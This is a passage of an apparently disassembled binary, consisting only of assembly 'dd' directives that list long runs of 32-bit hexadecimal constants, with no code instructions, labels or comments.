		dd 3F3E9D0Fh, 89383B16h, 0B4191D48h, 0A9D21A1Fh, 0E8F62620h
		dd 0C8542229h, 20ED285Ah, 3140C97Ch, 36FE3339h,	1AE9BCFEh
		dd 0EF1CCCD3h, 0C910E81Dh, 23273A1Dh, 0B8AEF721h, 6EB22736h
		dd 0FFA03AD4h, 0AD2DCCECh, 24EAB9E2h, 6CBEE736h, 1FE9A73Dh
		dd 863D7FEDh, 1CCD1620h, 9FBF25F5h, 0BFFE3224h,	0FCA140A8h
		dd 36C42DEDh, 216D3312h, 5D610795h, 5DD23D34h, 1B42247Dh
		dd 1EED9717h, 2054DF9Ah, 0CE73DAA8h, 2A49C6F3h,	2C4D1459h
		dd 0B711303Bh, 0D62AA231h, 20E3914h, 36FF22FAh,	0CCE9171Ch
		dd 60607528h, 0D72C032Fh, 2C26B3h, 2EDD9A67h, 33F02A1Eh
		dd 0BE2C460Ah, 205C32A7h, 0ABB73EA2h, 0CD3B6BD9h, 1BBA1D67h
		dd 0F221FDE6h, 20393627h, 0FD7B17A2h, 200B622Bh, 106F32B8h
		dd 465F6725h, 0BC8F3E5Fh, 959A0E6Fh, 234E198Dh,	89233370h
		dd 3B27E575h, 8ABC2878h, 7C67C6DCh, 1010F6D8h, 37E23D4h
		dd 7B983h, 2D4B7DF7h, 0A395096h, 24F634DFh, 6216607h, 0F11A2A12h
		dd 906D78A6h, 0C8D9623Fh, 0BD18B613h, 0E1BCC8F7h, 0FE324860h
		dd 592A9930h, 2404B1F6h, 443E56D4h, 22870A8h, 8DE8AA3Eh
		dd 0F2316F2Fh, 29DC7158h, 3BE83781h, 7D38FFB9h,	15FB3F6Ah
		dd 221F16DEh, 4E285623h, 28EFAD24h, 0D148E7C1h,	32DC5D2h
		dd 0B490F261h, 302B76F0h, 293A399Dh, 0BB59217Dh, 1E7EB915h
		dd 1B6EA846h, 0E6872126h, 58F53389h, 0EF2E29A7h, 23F9EF20h
		dd 0D7A2D9B5h, 0BB5A789Ah, 1BBAFA38h, 1EB95D87h, 70A323B5h
		dd 6661871Fh, 0A881A407h, 2D8CAD84h, 536AD82Ch,	3475CBCEh
		dd 3879F8B9h, 9C9D3A3Fh, 0DD58F3C0h, 0ADAB071Ch, 272D4206h
		dd 214821E1h, 58A5ECA1h, 31312F22h, 79395236h, 2D692F12h
		dd 43BDB3D2h, 0E3161EC6h, 0AB0F3D68h, 643B0675h, 66AA3E35h
		dd 7D7B2E29h, 0C5C734A4h, 37B037DFh, 3E34B63Dh,	3C383CFEh
		dd 3BB23DB9h, 0F2F64F18h, 2E00E0FDh, 0D1B0124h,	1D171915h
		dd 12122D11h, 0E7A0C72h, 6336087Ah, 5B076305h, 3F035B01h
		dd 236F2177h, 1F5F1D67h, 0AC18A023h, 0BC14B81Ah, 13B12C16h
		dd 0F990D8Dh, 8235099Dh, 0FA04820Ah, 3E00FA06h,	20CE26F3h
		dd 1CFE22C6h, 591E5418h, 8612A91Ch, 2A16CF10h, 2F0B2115h
		dd 970F0E09h, 0CF04D80Dh, 87018E06h, 0FF26E503h, 4A213720h
		dd 911D871Fh, 3219C61Bh, 7C141F16h, 0EA108112h,	340CDD0Eh
		dd 38352634h, 3F3B6A38h, 2B090E37h, 2F912D64h, 33681123h
		dd 53E6A1E6h, 23E31A09h, 0CF02D2ADh, 0F2AF3E3Eh, 0BC60F575h
		dd 0B32FC6C1h, 0A74F304Dh, 0E0F692Ah, 21836877h, 74721F23h
		dd 8911C0CBh, 7839CD28h, 0A9B124FFh, 66CA372Dh,	13381938h
		dd 31076322h, 121C143Fh, 91D6B2EBh, 0DA20E744h,	0E2BD627h
		dd 0DCA72B9Ch, 0D96029A5h, 0CB3436D6h, 0BA30BCC9h, 7DB53FFEh
		dd 42DDB430h, 20198EDEh, 242F23EDh, 2C0362AEh, 2D4EC279h
		dd 0E8D9962Dh, 0F673F22Ah, 39373A31h, 5C2E623Eh, 71CEB56Bh
		dd 5F480530h, 9364B77h,	3426444Eh, 6B2F2948h, 25440D59h
		dd 6397103Eh, 0F3B57054h, 0B03E6F1Ch, 17291DF4h, 17F5181Bh
		dd 0E4B0611Eh, 9F737427h, 6E13594Fh, 7E273B5Bh,	0D25B7123h
		dd 47CA1032h, 0B4D13837h, 0EE143C44h, 3B09E423h, 0C1233F32h
		dd 0C5422B00h, 297A3126h, 294A5542h, 24CF79AEh,	34656374h
		dd 295239D6h, 93CEB6Ah,	901E5E2Fh, 7A0E2A39h, 1E2F0675h
		dd 26B677h, 878A2D49h, 7CA62E0Dh, 14131635h, 3C371230h
		dd 18BF4EB0h, 0AB3D807Fh, 95C9121Eh, 0A92CAB22h, 0E61CFD0Ch
		dd 2BF12628h, 0AF2F6723h, 0B93377BAh, 37FE0FEDh, 39F81337h
		dd 303EE633h, 0CC121CC9h, 0DDFB709Ch, 39EFF6A6h, 0FF39AA8Bh
		dd 6C3D817Ah, 2CCE9891h, 0FB3D7697h, 5A38B273h,	0B59F7E3Bh
		dd 966C1B53h, 1203B6Ah,	0AC73EA11h, 2138036Ah, 2D346DA1h
		dd 0F00B3B2Dh, 0B5242146h, 0B93343B8h, 0C2F4B8A0h, 97873D3Fh
		dd 1B3F3A41h, 2E3157F8h, 0E8142F25h, 205522AAh,	4ED02EA8h
		dd 49EC097Bh, 4337BB36h, 0F83BB938h, 45F9B539h,	0F1E19DEh
		dd 0EFB2B121h, 63AD2528h, 782E290Ch, 1CDFA67Ah,	0F43261EBh
		dd 74D62532h, 3BB33838h, 61B73462h, 6466F40Ah, 0AADEDF1Fh
		dd 78AC207Dh, 5C29B52Ah, 2C552F70h, 10B3162Fh, 3E741CB7h
		dd 15D13A96h, 0DE319D60h, 119CCF08h, 1EA56FDh, 0B3B6A923h
		dd 0AFA2AFE7h, 7D7E1CEAh, 0C77C188Ah, 3554DA8Dh, 36F8C422h
		dd 38961C5Bh, 3D821B1Fh, 7B9B8C39h, 8D2F02B5h, 8A2B6285h
		dd 8C2A6188h, 344D2505h, 30520F1Bh, 2B355C93h, 56032D39h
		dd 65D76F2Eh, 9CA79D0Dh, 64240DE4h, 74BDCD03h, 0B02B3528h
		dd 88257F7Ch, 0B8DE31F5h, 67023571h, 51299E33h,	313EFD25h
		dd 0DE14761Fh, 354B1C15h, 0BAFCC72h, 6C193C65h,	64C5043Fh
		dd 0DA5912AEh
		dd 0F228BF60h, 0BA582E77h, 0C16D3A38h, 7D3A9BECh, 23707593h
		dd 4459CB72h, 0A5A8693Ah, 2DA209F4h, 672C512Fh,	0CAB130B0h
		dd 974C6C36h, 0FA0E516Dh, 1C3BFF79h, 0CAD4F619h, 6A43ACA3h
		dd 861AD2Dh, 7A3B2209h,	2C0D68EAh, 0F07327F0h, 2DF73520h
		dd 0B6BBCF5Bh, 5AB1B0B0h, 8F085995h, 3B346835h,	0FF6F3360h
		dd 6F0E7D3Eh, 526C6C79h, 0F77627F2h, 21F63122h,	2DFA58A1h
		dd 83B8B06Ch, 8D90B1Bh,	34E8492Bh, 64E0709Fh, 0E53D6828h
		dd 0A99603Eh, 565E7D07h, 14375846h, 45BBBC6Ah, 723E36BCh
		dd 980312BFh, 48944B58h, 400AA34Fh, 2E2B6223h, 2F2B2AD9h
		dd 5E1E2F79h, 5C704045h, 5A5D6F44h, 0BDAABB4Eh,	4D1B7C24h
		dd 596F2A72h, 0A5836225h, 69E82737h, 5E4F2E4Dh,	5C1E29ADh
		dd 0B8217E31h, 0F9DF7A26h, 16D3A7BAh, 18BE3BA5h, 1F2B1C05h
		dd 0B81DC924h, 6020A471h, 291860ABh, 79AD582Ah,	3533B815h
		dd 693596BAh, 3B2FD13Bh, 77BF1C3Bh, 0FE651ADCh,	0E4AA101Fh
		dd 6682F08h, 0C3DD36Bh,	0C1BBC42Fh, 0AE32D22Ch,	4236D15Eh
		dd 3AE9F49Fh, 1AAE4E37h, 436C153Eh, 0F1345E97h,	0F937AC26h
		dd 0E6136B22h, 3924E922h, 32DF27E1h, 9EDCE323h,	7A6C677Dh
		dd 392F0AB9h, 0BAB1B42h, 22001462h, 2E27122Bh, 792FAD35h
		dd 128A272Bh, 0A0EDC609h, 21B8BA0Ah, 0B3346711h, 1EEF68F1h
		dd 0F7D73565h, 121C140Ch, 293FDCF8h, 12AD137h, 0B765D00h
		dd 2C2E910Fh, 20315B24h, 32264717h, 0FC0DC150h,	3E4E3B9Fh
		dd 0F611192Fh, 0A2021061h, 0FCDD2059h, 8B2A2887h, 2D2E0C2Bh
		dd 3272332Fh, 3E313433h, 38A93EDCh, 5D393C3Bh, 3D781B52h
		dd 44007C31h, 4A364B41h, 5A0D5CE5h, 1312476Bh, 5859BF0Eh
		dd 37F61512h, 5EB84443h, 3D1C5A3Ch, 75793DB7h, 1A6D7F73h
		dd 43216858h, 712C792Eh, 73D0EE22h, 0B2247826h,	3F6C3533h
		dd 1B38363Ah, 0F021193Fh, 0A806358Fh, 9C3D1917h, 496265E7h
		dd 32D97206h, 23183BC8h, 4F0A480Fh, 62BF7153h, 0BD241175h
		dd 0F2BE3138h, 0C6BE3148h, 3A8D9D39h, 68616611h, 1F33A426h
		dd 40674267h, 2E284627h, 0B230E46Ch, 0F064302Bh, 3D351CB3h
		dd 3C3F3C1Bh, 0A9E30D7h, 0C982942Eh, 1B009A5h, 7B02A6AAh
		dd 0AC7D3AAAh, 36D82C04h, 0BAEC1AB6h, 537C171Fh, 0B910BF68h
		dd 0A5AA71Ah, 2D5F5B4Dh, 0EB0726E3h, 2CEB1B21h,	46383968h
		dd 230F2727h, 243D7034h, 299DDE64h, 0D43D3EE5h,	4B2DFEFAh
		dd 224CCAF4h, 1AD225FEh, 572E21FFh, 78A43D1Ch, 444F23BCh
		dd 0DB603890h, 9F32F96Ah, 0F941D13Fh, 3BF1B638h, 0A919DCBFh
		dd 4A5143Ch, 0AE27E42Ch, 0FA92AE6h, 0E83A2E96h,	0BF7A31ADh
		dd 62B741Dh, 6921262Fh,	2B7D719Bh, 59D4D6Dh, 35243F0Ch
		dd 0C520234Eh, 5D00A56Dh, 3EF33DB7h, 5717E3Eh, 353E592Ah
		dd 181B7B3Fh, 9C22BD4Eh, 1840FF63h, 1896DE0Dh, 7ACB7573h
		dd 26E715E6h, 2D35C22Dh, 67276074h, 7A19BB70h, 0B8235A74h
		dd 1AFA6875h, 44DFF8B6h, 13DC4642h, 5D3F07E5h, 7D4A0DE3h
		dd 0AB30E9DBh, 712E5004h, 0E94F19B8h, 501EB6CFh, 13BB3CB8h
		dd 0BF39BC63h, 8C553BC8h, 5E135438h, 0B2B51667h, 0F21BEC00h
		dd 7A210BBFh, 62B1241Ch, 62BEE403h, 3E5D68B7h, 162B5008h
		dd 2EA0288Bh, 0ED135FDAh, 0D917C311h, 39087624h, 6918171Eh
		dd 5647E2Eh, 45002F6Eh,	45FB6632h, 9E81229h, 182B0F14h
		dd 141E8E31h, 69CB2E51h, 0C231460h, 0C43E2E1Ah,	282B1C40h
		dd 0B4370064h, 0AA33209h, 380B143Dh, 39556E14h,	13FE3176h
		dd 1B2EA10Dh, 75094F84h, 2F7821C0h, 872A7E04h, 611AD926h
		dd 33642930h, 193E6503h, 0B1B48A9Ch, 93A731BAh,	82B70DBEh
		dd 8779C50Eh, 0FE8477Ch, 1C008E9Ah, 1D1152C7h, 0D6401992h
		dd 17989D39h, 0B11099A8h, 1231B638h, 0C14E32BAh, 88E3283h
		dd 0C8F3AE7Ch, 3D018F13h, 0EB31CF43h, 189E5012h, 772E9707h
		dd 0A55CEB57h, 7CCB3F4Fh, 501F6FBEh, 55888C01h,	9147F625h
		dd 58EF2A5Dh, 305BE12Dh, 3447E89Bh, 0C83742D0h,	48C03A4Dh
		dd 93398A3Dh, 6E0F1D6Fh, 3F42F120h, 524B25D0h, 2B5B0E28h
		dd 0DB1C4DFCh, 0E324430h, 0B1364435h, 6A7ABC37h, 1B720D51h
		dd 7AED4D0Bh, 0CAAAA19Fh, 0A561B48Ah, 306A98DAh, 4F7A2DABh
		dd 0FD9B4FAh, 0AABC1E23h, 1639A413h, 580DC519h,	2DA02EB4h
		dd 0B9F6E028h, 0A5279ABBh, 0DEF115FCh, 2D2EABD3h, 0B2CAA406h
		dd 0F4DC39F5h, 394C4F53h, 3EFCAB39h, 2D1A3E17h,	111E0Dh
		dd 24432021h, 4943540Bh, 2E2B4B5Dh, 0B265F889h,	36633005h
		dd 373B36h, 0BE157A3Dh,	80A73D31h, 1DD61DA2h, 2B222510h
		dd 24262624h, 0EB622429h, 35AD4402h, 15322F02h,	7B6E5C34h
		dd 2F3AF7D1h, 0BDF8583Dh, 0F7D90018h, 2622A2A1h, 22492CAh
		dd 0A3FF4D26h, 4B2D332Bh, 5114B257h, 7EB311A5h,	7ABB4671h
		dd 0D7285E3Bh, 37191E4Ch, 2448F65Ah, 78CD1C27h,	4E06A27h
		dd 20390C28h, 0F102E09h, 36B48538h, 41321593h, 31E83117h
		dd 0DB5426BAh, 0F0E3283Dh, 1A2AE72Eh, 3BF22324h, 499DC221h
		dd 23F23E0Dh, 0EE68C24Bh, 3BC7CE26h, 0BD44D29Dh, 3B296338h
		dd 300E1054h, 0CB783389h, 9E25F40Eh, 0E935710Bh, 7B3A0738h
		dd 0E3F32648h, 62214C2Bh, 5D2D4470h, 403D3DFEh,	9EC4F40Ch
		dd 2836591Dh, 0A6BECC4Fh, 0D93E5125h, 395F2E3Bh, 4DAFE2F2h
		dd 443E3624h, 20895720h, 0EF502B44h, 19CF563Ch,	0E060086Dh
		dd 16335622h, 5D28E6BDh, 2D9C0C3Dh, 0B3613DAEh,	6536915Ah
		dd 7D872BDDh, 1C4738F2h, 740FDD3Dh, 359B1CBFh, 28230254h
		dd 0C8E644AEh, 0B9A0D009h, 106C286Dh, 0F4009EF9h, 72B616A4h
		dd 6E1B9B99h, 9E3F347Eh, 0D09A12C7h, 23112220h,	59FDA0DBh
		dd 0E9A279h, 0AED0872Eh, 3133DF23h, 8B3434E8h, 7A7E3B38h
		dd 127D3D4Ah, 191DF995h, 2BA0756Bh, 6827257Dh, 2B152A26h
		dd 2F780229h, 30302E2Dh, 3E373527h, 90CD3A36h, 0DE3F3CDCh
		dd 1CD0193Eh, 2321A91Ch, 27258188h, 532A26AEh, 2C3D7928h
		dd 0A5313BD6h, 74323223h, 7D393626h, 3D8B2C71h,	56717754h
		dd 6C755977h, 6F532224h, 0A5621625h, 2C170E6Dh,	0D87F6847h
		dd 0CBCCAC7Eh, 8F3B535h, 18B7B769h, 1B3E3E99h, 3B9ADB1Eh
		dd 2322227Ch, 0B7CE3A26h, 2A422829h, 6D854D2Dh,	6BF3B037h
		dd 36663775h, 3A3B7139h, 3FBF0396h, 321D9D2Dh, 0A305209Eh
		dd 0A7398E23h, 2AA83C27h, 2C2DAD27h, 0CA9B30AEh, 0B7C52E12h
		dd 3AB8DE37h, 943DBDE1h, 0D51C9AEDh, 0A09A1F9Fh, 25A58722h
		dd 0E87F910Eh, 8604AB2Bh, 19B8196Fh, 6C25B373h,	0C3121FB2h
		dd 15B733BAh, 9F338FD3h, 6017F209h, 0AEE736A4h,	89C9CE3Dh
		dd 0ECAFEA69h, 332F6C59h, 56E4B235h, 2436F664h,	1DBAAAD1h
		dd 5CD8B17Ah, 141F305Ch, 0CB3A2621h, 322F640Dh,	0DF0EFE68h
		dd 0C7793FADh, 66A2DD7Eh, 2B8AB7E4h, 3DDAD7C8h,	39DC883Bh
		dd 802D1D24h, 24C023CFh, 0FB2D4483h, 9B622EC7h,	5E64CC08h
		dd 0A1F0FE29h, 77683247h, 38A84A78h, 33EE39C9h,	1119E9B5h
		dd 0AF25E30Bh, 9A0CD62Bh, 21E77EF9h, 25E323E5h,	68EB27E1h
		dd 963CF129h, 554C6EE2h, 0F460D33Fh, 14DB5836h,	8B22E156h
		dd 40C32A65h, 71FF13AEh, 90A03AFFh, 69FFAA09h, 77BADAFEh
		dd 671655h, 5816B129h, 86E3FDCh, 23DE5D1Ch, 63333D6Ch
		dd 234E0502h, 797B2548h, 54C6A97Ah, 0B7B93211h,	25161D10h
		dd 6B39386Dh, 0DDA24B9Ch
		dd 0B9D1471h, 6D00ED12h, 0A6A144FBh, 4B283B3Fh,	0F58AD2Ah
		dd 0F7B2236Fh, 22747C37h, 6631BD38h, 1CDDC3C4h,	59964062h
		dd 0D4AB479Eh, 7750D019h, 6522B8F4h, 6D38376Ah,	0CE6179B1h
		dd 85A46527h, 717C776Ah, 57FB70Bh, 339B4B87h, 21304295h
		dd 8AE824ABh, 86E40923h, 6A6CB569h, 20D06CA0h, 9E4FCA0Ah
		dd 64BF90E4h, 3CC4F811h, 403E8E95h, 3B11CF34h, 2CF210C0h
		dd 0AA6217D5h, 6BFD08A9h, 7F28BE6Dh, 1C321189h,	3E908986h
		dd 32FC92CBh, 0F75E2DDCh, 549E0512h, 1360265Fh,	982A2833h
		dd 2B4F2DB3h, 2F2ECFAFh, 0B6F7667Fh, 3079204Bh,	3BD93E37h
		dd 31B93018h, 79731F3Eh, 6B1A1D9Eh, 0D6322166h,	0F382667h
		dd 0A7872A6Bh, 8739EEC5h, 74DDAA32h, 0AD3937A4h, 3DBCACE6h
		dd 0FE1DFE49h, 841F9E88h, 27E2764Ch, 2886CEADh,	0E256B5Ah
		dd 314A0E43h, 1C91EBD8h, 99A29511h, 0B5A5539h, 1E66170Dh
		dd 1F9F7C1Dh, 4A1331CDh, 16362555h, 92A5959h, 4579DC24h
		dd 8B3A15CEh, 77863D25h, 0A3540C38h, 0CF3FA849h, 8BE51D8Ah
		dd 0B756511Eh, 0BF173422h, 0D52D7C11h, 2F1D3A8Eh, 72EE082Ah
		dd 47239633h, 4E2F9937h, 2F3D268Bh, 4CE456B4h, 20D44AE1h
		dd 62AD2EA2h, 0C2D8AC32h, 59642B26h, 0FFB36728h, 3674D8CDh
		dd 0BA2C40BDh, 2413AB45h, 9DC5D752h, 7448BE01h,	0C522751h
		dd 767826E3h, 0EE76CFA2h, 90D62E29h, 46CF2CA6h,	0E836E907h
		dd 82C2CDA0h, 1B3F302Dh, 94D4961Eh, 0DDD5B8E1h,	0AFAF9D24h
		dd 0D9A1A1A0h, 2CC06DDBh, 36C8F0E6h, 178E3620h,	0AA988AFDh
		dd 343A6E6Eh, 0DFD71C90h, 0F3223FF6h, 6047371h,	26410857h
		dd 51839E1Ch, 38131187h, 22F1B763h, 45113862h, 3F791439h
		dd 351C6F17h, 3C689FA6h, 0CC252366h, 2B36270Ah,	0A62C6BE6h
		dd 0A7D9DF63h, 63345A6Eh, 6F392906h, 31403BECh,	0EC0B7A1Eh
		dd 20C6F64Dh, 9CE07B37h, 0B25467Fh, 2D08219Ah, 712E786Ch
		dd 29319FA1h, 3027E63Bh, 29983C98h, 235AD63Eh, 23204FC1h
		dd 362361C0h, 17778956h, 0A9648929h, 702EDDB0h,	686CF2BAh
		dd 0C6C9F650h, 0F4718638h, 303E3277h, 111D131Bh, 1D212F1Fh
		dd 262A242Ch, 2A262828h, 2E2F2C24h, 0FE3386C6h,	0A72CD603h
		dd 3A474661h, 3D3BEF37h, 0C99544D7h, 0BC9718h, 0EF93CB27h
		dd 8A2E2138h, 284C2A0Ah, 321CA2A3h, 0DD362332h,	39EAFBE9h
		dd 35B7F5B1h, 0ACCFD7D6h, 211F941Dh, 246E22ABh,	27E61C24h
		dd 2E7368ACh, 659C2C2Dh, 2A3B3722h, 3D113E30h, 343E1431h
		dd 133A0897h, 5616185Dh, 26732925h, 227A2F2Ch, 232B4D20h
		dd 432D2D21h, 3D353091h, 33423634h, 3C3E453Fh, 383AB936h
		dd 0C1A1D97h, 43B5231Fh, 263627A2h, 21ADB424h, 6F342FAAh
		dd 0AB09A117h, 9F0D950Bh, 8301890Fh, 0F105F803h, 0F824C107h
		dd 0DA18EF26h, 341D251Ah, 0E113B1Fh, 10151913h,	62096717h
		dd 5C0D6D0Bh, 4601430Fh, 0A805B103h, 0B7229F07h, 0E126A824h
		dd 0F31AEE18h, 0C51EC41Ch, 6C112110h, 5F434078h, 24E65650h
		dd 3C964613h, 4C292A19h, 8C2FAA0Eh, 7E360A23h, 2C202E35h
		dd 87242626h, 0EB435E08h, 7C0E4558h, 31727D63h,	44C6ABD5h
		dd 0D438390Ch, 9F3CF93Ah, 13199720h, 0E001230Ch, 2C222E2Eh
		dd 0EB2B2822h, 9028361Bh, 335D078Fh, 3930DBCCh,	0E566E737h
		dd 0CB304C64h, 4D89343Bh, 3700EA11h, 31318138h,	83441D66h
		dd 3E837423h, 0DE6EC051h, 0DA268C6Ch, 0D666D868h, 393F8464h
		dd 2F4C693Eh, 1BE92DE2h, 2C562EE6h, 5967141h, 0FC2A2A79h
		dd 7F3D1E0Bh, 7AA35A3Bh, 0F01166ADh, 1604DE06h,	0BB0FED1h
		dd 8E4E3B3Ch, 0DD123D5Dh, 36680514h, 0CA0C7854h, 78087661h
		dd 0F645F07Eh, 97A213E1h, 970B9D4Fh, 18674A5Ch,	0EA2CF01Bh
		dd 2610DC2Eh, 14293011h, 0D06F43A5h, 8F28AD02h,	0BC86B1BDh
		dd 0CDE23633h, 0C83EB97Eh, 0A33FBD6Bh, 851E9AC3h, 32A1CF8Ch
		dd 2B24AC81h, 2C297BD8h, 2C29128Eh, 0B0285B25h,	53B65C30h
		dd 63BAFD24h, 35BD929Fh, 55103E3Eh, 33F4181Ch, 40052360h
		dd 0F907A22Ah, 22A02929h, 0F8143CEDh, 0BF254731h, 7EF02273h
		dd 383B3A35h, 923B78B4h, 593EDA1Ah, 3232130h, 3622A24h
		dd 0EBAF3D28h, 2F97A823h, 0DB641933h, 334AB757h, 0E1BE3AF8h
		dd 69303D3Dh, 951B970Bh, 48A32851h, 317A337Ch, 3D753F78h
		dd 0DD123B1Ah, 4D264F0Ch, 31224724h, 0D2170C20h, 0AE91BA97h
		dd 3F711B2Bh, 61F02A95h, 0F54CA326h, 0D62A2721h, 0A12D8BFCh
		dd 36B2A3A3h, 0DD6533A2h, 0F93A74BCh, 8D63DF4Fh, 9C4613Fh
		dd 2F180BA2h, 6CE36412h, 0AB25DB2Ch, 1FB3EC5h, 0F01C6635h
		dd 6730B2B8h, 28376660h, 6C6C6C9Dh, 0FB6E223Dh,	907E09BAh
		dd 7229129h, 3F269542h,	232B292Ah, 2F3638D3h, 59DABA71h
		dd 0C863250Eh, 33DAD92Dh, 3D0DCDB7h, 25143CC0h,	222E2010h
		dd 262A242Ch, 2A262828h, 212D23D4h, 3D313F2Fh, 39353B33h
		dd 35393737h, 3E32C33Bh, 1D131B30h, 212F1F11h, 252B232Dh
		dd 23292729h, 45D3412Ah, 31738097h, 94503232h, 5D683336h
		dd 3D193BB3h, 974D6E3Ah, 905F1F5Dh, 0CC3DC920h,	0D726F926h
		dd 0F4C7C2A9h, 0F01DD1D3h, 0B4A0A061h, 0B92DB508h, 0FE3A8AFDh
		dd 24D4F121h, 1F111D13h, 232D212Fh, 3C94252Bh, 0F4BFB220h
		dd 6DADDC77h, 2F70B37Ch, 6D13F564h, 0E809B808h,	691E1BFCh
		dd 8A085F1Ah, 0BE843540h, 2911AF07h, 250AB8A6h,	4C220624h
		dd 0F5FB94D0h, 390AAC35h, 0FF221CAAh, 0BE94307Fh, 811ADC35h
		dd 34703A95h, 307095F0h, 21CBA8F7h, 69CE2875h, 937FF93Bh
		dd 7764F733h, 69821D0h,	0B7296B71h, 4E085516h, 0C352D0F5h
		dd 242766B2h, 784ECE74h, 4644F32Dh, 2C2B7D2Ah, 64B83667h
		dd 0C383631h, 0DFA8BC66h, 1433E133h, 4710A11Ch,	82A2F9Dh
		dd 21923FA4h, 0F327293Ch, 585A67DEh, 0DB3E7061h, 3E47DB0Dh
		dd 3335C954h, 0B6763542h, 0F6394F1Dh, 0A93420E8h, 0FD30A5FBh
		dd 2A30AA52h, 0C67B7B43h, 5A341144h, 3AD13CF1h,	0F9B2672Fh
		dd 5DBE37FBh, 3ADD4001h, 213F2F81h, 0B640D4Ch, 823D9B2h
		dd 7C02441Eh, 3A8F012Eh, 6943032h, 22ABDFEDh, 7D3D329Ch
		dd 5C1F09EDh, 94B7F612h, 570323A4h, 0C0290620h,	0C2A9ABEh
		dd 102A3D6Fh, 9903DA3Ch, 0AC881634h, 1C38A709h,	0B9973A31h
		dd 573E1933h, 21D2C92Bh, 2308A052h, 0C3022338h,	3F2F9A6Ah
		dd 3A223440h, 9BF521DCh, 3F56D13Bh, 0BF388CADh,	1CBD2C1Fh
		dd 22326DBh, 0CEE6B02Ch, 0AE2CD836h, 525968F0h,	16BD34EAh
		dd 3731F52Fh, 3E8869B1h, 3F2233DBh, 563D63D7h, 29018B3Ch
		dd 3176EBA9h, 93C02323h, 7D09BBBDh, 4280228Ch, 552C3052h
		dd 1D980312h, 3C3C3F52h, 0E3481A5Fh, 20EF95CAh,	0A02CD4A4h
		dd 552426A7h, 39D43D39h, 0D2BAE69h, 34731502h, 523D4237h
		dd 0D74C9933h, 99DFBEBh, 5D921A5Dh, 33E87727h, 76642F6Ah
		dd 185E236Bh, 26C73751h, 3AD7683Dh, 0DFA3594h, 1E603ECh
		dd 0D39C07D8h, 24E1BCBBh, 3681801Bh, 2A78483h, 111D6E87h
		dd 0AE691717h, 12653A79h, 61755092h, 1890343h, 0EA06F093h
		dd 0DD18BADFh, 9EC03FBEh, 85246788h, 0B970C746h, 0ADECB62Ah
		dd 0DD4AFB5h, 98D62B74h, 3A27389Ah, 2944BE30h, 1D1B1242h
		dd 764A4D57h, 0FF107521h, 0C514D916h, 23EB2AACh, 302E0BA9h
		dd 473B933h, 0BC38C0B0h, 0BF397A22h, 14C0C03Dh,	1C1ED398h
		dd 0E15C03A1h, 22A32A04h
		dd 0C37C2C28h, 532C9426h, 32BA903Dh, 392CB308h,	9B71C2D0h
		dd 9F2A5D33h, 0E696069Fh, 21052C1Ah, 30442823h,	0A12A28B9h
		dd 0E4242064h, 3220BB27h, 0DE0FBF3Ah, 337831BDh, 28D96BD3h
		dd 6509E430h, 0E028BF91h, 0A403221Ah, 0FD404334h, 0C5648368h
		dd 102C2C5Fh, 4128A309h, 294D28D6h, 0FE3DB235h,	1DDC10AFh
		dd 0A31B281Dh, 289D25h,	2B574685h, 252DA13Eh, 0FE2E7Dh
		dd 48E1B739h, 0C2B4B63Ch, 0B53F453Bh, 703C6A6Ch, 1CF31AB3h
		dd 2D21C334h, 0FF2626C7h, 0A22E2161h, 0FC149C16h, 1809330Ah
		dd 580D610Fh, 0B301B903h, 0A605AF07h, 0B426BC20h, 0FD1AE424h
		dd 8193218h, 3715611Bh,	7A106816h, 0B20C5012h, 8008850Eh
		dd 3C04DF0Ah, 16032A05h, 0CE227B01h, 251EEC20h,	0F11BB01Dh
		dd 2917C819h, 820A2F0Bh, 7572F4B4h, 77AB1536h, 0AB733335h
		dd 6F3B383Bh, 1F99BD90h, 69C441Dh, 0CE20A053h, 2C2F25A6h
		dd 2FA948C1h, 322F2F35h, 3130F380h, 3BF764DDh, 7247147Ah
		dd 36A26D13h, 0B5462C8Ch, 217310B3h, 2B822D5Fh,	3E2ED618h
		dd 0AA50AD18h, 7B73EF0h, 672AB5F5h, 73523D52h, 0EBFA738h
		dd 27998881h, 2126A44Dh, 0A6274E05h, 2AFE3A66h,	2B7B7F7Fh
		dd 0CF45E27Bh, 3066CB17h, 323888FFh, 0EF005AB1h, 98132CBFh
		dd 3C4D1F9Dh, 0E33E97A0h, 83194917h, 181FD81Bh,	0A2045C1Ah
		dd 0D6009706h, 0BA0D7B02h, 0FE09A40Fh, 32C3B08h, 0B1286B2Ah
		dd 69149D16h, 771F751Dh, 40134E11h, 49175C15h, 0B30B4D09h
		dd 0AE0FBA0Dh, 2703CB01h, 0D8061904h, 0EB27FE25h, 0BD18A219h
		dd 46550525h, 0D0299D08h, 2F5D9877h, 0D83245C3h, 35943544h
		dd 91389F86h, 0EF3F99E4h, 6AD51C6Fh, 2084E01Fh,	2483B789h
		dd 8F288C8Ah, 5AB02C5Fh, 97A49A2Fh, 34935C31h, 40389CB5h
		dd 4CB73C4Fh, 6F761B4Bh, 43C9C31Eh, 36044049h, 42AC4CB9h
		dd 0B29C8096h, 0AE5BB045h, 9F5FA459h, 0A6430B57h, 0E357B951h
		dd 77846B7Fh, 4B837582h, 1FA2B1ACh, 9EA84DA5h, 906541A3h
		dd 499945AEh, 5FB230F1h, 0B834F744h, 3CDA5352h,	5F661E50h
		dd 7496D5BDh, 0D70E0320h, 75CE2F24h, 29C929DAh,	262EDE7Dh
		dd 33C073D8h, 3F36C1AEh, 0C908D12Ch, 3FCA6C3Ch,	5B3FF41Ch
		dd 0D62920EDh, 34CD2223h, 7B9628D5h, 0C628AB9Fh, 4431C22Dh
		dd 223134C7h, 698BCADFh, 3D3DC816h, 0EFCDF9D7h,	2657D825h
		dd 0CD08EDA9h, 494C4785h, 599DE32Ah, 6EF0972Ah,	3530F16Ch
		dd 3666D337h, 79B73B65h, 974D3B1Ah, 0C8074EECh,	0B2235FCCh
		dd 0A9C12545h, 5D4CCD6h, 712C202Eh, 0CB50F735h,	3E36C434h
		dd 0C53AC531h, 9E3B6F3Ch, 36FC1DA8h, 0E22DB8Eh,	0DDB8CD60h
		dd 0A5C21F28h, 0DFBABC8Dh, 3032ED14h, 1D271FB4h, 643B3098h
		dd 0BA25ABE5h, 5E14EC57h, 4313805h, 66207BA2h, 0C293433h
		dd 2BAD68A6h, 0D2F0C874h, 9136731h, 3539377Bh, 0C13D333Bh
		dd 77080955h, 2F200F0Eh, 4F1899B0h, 0C178AF31h,	0AE1CCBF3h
		dd 0AC8217EAh, 331497BCh, 68A84E86h, 0CE3AD36Ah, 825F5C3Dh
		dd 3FF71F8Ch, 0D16D811Ah, 42673221h, 4624403Ah,	3C608E25h
